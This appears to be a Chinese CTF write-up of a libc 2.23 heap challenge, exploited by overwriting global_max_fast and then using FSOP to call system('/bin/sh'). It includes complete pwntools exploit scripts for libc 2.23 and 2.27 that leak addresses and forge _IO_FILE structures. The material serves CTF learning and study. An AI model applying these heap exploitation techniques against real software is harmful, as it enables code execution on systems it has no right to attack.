在github上找的一道libc2.23环境下的global_max_fast + fsop的题。

在buu上这道题变成了libc2.27,在fsop部分稍有不同,这里为了强调思路,我就主要讨论原题,也就是libc2.23的环境了。

buu上的exp也会给出来

分析

1649228041984.png

提供了3个功能,create,delete和login。在create的时候会puts堆块的内容,这里是可以leak出libc和heap基址的。但是没有溢出,delete也没有问题。

问题就出在login这个功能里面,

1649228193284.png

一开始问了你的name,以__int64类型的方式存到了qword_6020B0,然后又问了type,将对应type的字符串存到了v4所指向的qword_6020B0+0x8处。

1649228397295.png

但是name这个位置实际上是存在栈溢出的,可以覆盖v4的值,导致我们可以实现一次将0x6E696D6461或者0x6C65746E65696C63写到任意地址(v4+0x8)。

在glibc里,fastbin会接受的最大size是一个叫global_max_fast的全局变量控制的,默认情况为0x80,小于等于该大小的chunk在free掉之后会被放进fastbin。

1
2
3
4
5
6
7
typedef struct malloc_chunk *mfastbinptr;

/*
This is in malloc_state.
/* Fastbins */
mfastbinptr fastbinsY[ NFASTBINS ];
*/

fastbin的索引有如下计算方式:

1
2
3
4
5
6
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[ idx ])

/* offset 2 to use otherwise unindexable first 2 bins */
// chunk size=2*size_sz*(2+idx)
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

所以,如果将global_max_fast改成一个较大的值,那么很有可能会造成fastbinsY这个数组的越界,将某一处于他之后的值改成一个堆上的地址。

这里很容易想到,可以把_IO_list_all给劫持下来,在堆上直接伪造一个 _IO_FILE_plus和vtable,然后后面create堆块时,一定会触发fastbin的报错,从而打出来malloc_printerr -> _IO_flush_all_lockp -> _IO_overflow这条链子,然后getshell。

1649229296941.png

我这里浅算了一波chunksize,让这个chunk被free的时候,能把它的地址写到_IO_list_all里

1649229466055.png

后面就是简单的fsop了,没什么好说的。

1649229527987.png

1649229558514.png

libc2.23的fsop控制好_IO_FILE里面 _IO_write_ptr > _IO_write_base 以及 _mode <= 0就好了。

我这里getshell用的是system(‘/bin/sh\x00’),应该也是可以直接写one_gadget的。

exp on libc-2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn.test')
libc = ELF('./libc-2.23.so')
p = process('./pwn.test')

def choice(idx):
p.recvuntil('exit\n')
p.sendline(str(idx))

def create(sz, content):
choice(1)
p.recvuntil('size\n')
p.sendline(str(sz))
p.recvuntil('note\n')
p.sendline(content)

def delete(idx):
choice(2)
p.recvuntil('id:\n')
p.sendline(str(idx))

def login(name, type):
choice(3)
p.recvuntil('name\n')
p.send(name)
p.recvuntil('type\n')
p.sendline(str(type))

create(0x98, 'AAAAAAAA') # 0
create(0x98, 'BBBBBBBB') # 1
delete(0)
create(0x98, 'AAAAAAAA') # 0
p.recvuntil('AAAAAAAA')
libc_info = u64(p.recvline()[:-1].ljust(0x8, b'\x00'))
libcbase = libc_info - 0x3c4b78
global_max_fast = libcbase + 0x3c67f8
sys = libcbase + libc.symbols['system']
print(hex(libcbase))
print(hex(global_max_fast))

create(0x400, 'AAAAAAAA') # 2
create(0x400, 'CCCCCCCC') # 3
pay = b'a'*0x90 + b'/bin/sh\x00'
create(0x98, pay) # 4
delete(2)
delete(3)
create(0x400, b'A'*0x10) # 2
p.recvuntil('AAAAAAAAAAAAAAAA')
heapbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) & 0xfffffffffffff000
print(hex(heapbase))

fsop = p64(0)*3 + p64(1)
fsop = fsop.ljust(0xc8, b'\x00')
fsop += p64(heapbase+0xae0)
fsop += p64(0)*3 + p64(sys)
create(0x1400, fsop) # 3

pay = b'A'*8 + p64(global_max_fast-0x8)
login(pay, 1)
delete(3)

choice(1)
p.recvuntil('size\n')
p.sendline(str(0x100))

p.interactive()

exp on libc-2.27

(我这里leak libcbase和heapbase是利用的tcachebin和unsortedbin,getshell打的是_IO_str_jumps -> _IO_str_finish)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
p = process('./pwn')
# p = remote('node4.buuoj.cn', 26180)

def choice(idx):
p.recvuntil('exit\n')
p.sendline(str(idx))
# sleep(0.1)

def create(sz, content):
choice(1)
p.recvuntil('size\n')
p.sendline(str(sz))
p.recvuntil('note\n')
p.sendline(content)

def delete(idx):
choice(2)
p.recvuntil('id:\n')
p.sendline(str(idx))

def login(name, type):
choice(3)
p.recvuntil('name\n')
p.send(name)
p.recvuntil('type\n')
p.sendline(str(type))

for i in range(9):
create(0x98, 'AAAAAAAA')
for i in range(8):
delete(i)

create(0x98, '') # 0
p.recvuntil('is\n')
heapbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) & 0xfffffffffffff000
create(0x98, '/bin/sh\x00')
for i in range(6):
create(0x98, 'AAAAAAAA')
p.recvuntil('AAAAAAAA')
libcbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0x3ebca0
global_max_fast = libcbase + 0x3ed940
sys = libcbase + libc.symbols['system']
print(hex(heapbase))
print(hex(libcbase))
print(hex(global_max_fast))
print(hex(sys))

def get_IO_str_jumps():
io_file_jumps_offset = libc.symbols['_IO_file_jumps']
io_str_underflow_offset = libc.symbols['_IO_str_underflow']
for temp in libc.search(p64(io_str_underflow_offset)):
io_str_jumps = temp-0x20
if io_str_jumps > io_file_jumps_offset:
return (libcbase+io_str_jumps)

io_str_jumps = get_IO_str_jumps()
str_binsh = heapbase + 0x580
print(hex(io_str_jumps))
print(hex(str_binsh))

'''
fsop = p64(0)*3
fsop += p64((str_binsh-100)//2+1)
fsop += p64(0)*2
fsop += p64((str_binsh-100)//2)
fsop = fsop.ljust(0x98, b'\x00')
fsop += p64(2) + p64(3) + p64(0)
fsop += p64(0xffffffff)
'''

fsop = p64(0)*3 + p64(1)
fsop += p64(0) + p64(str_binsh)
fsop = fsop.ljust(0xc8, b'\x00')
fsop += p64(io_str_jumps-0x8)
fsop += p64(0) + p64(sys)
create(0x1430, fsop) # 9

pay = b'a'*0x8 + p64(global_max_fast-0x8)
login(pay, 1)
delete(9)

choice(4)

p.interactive()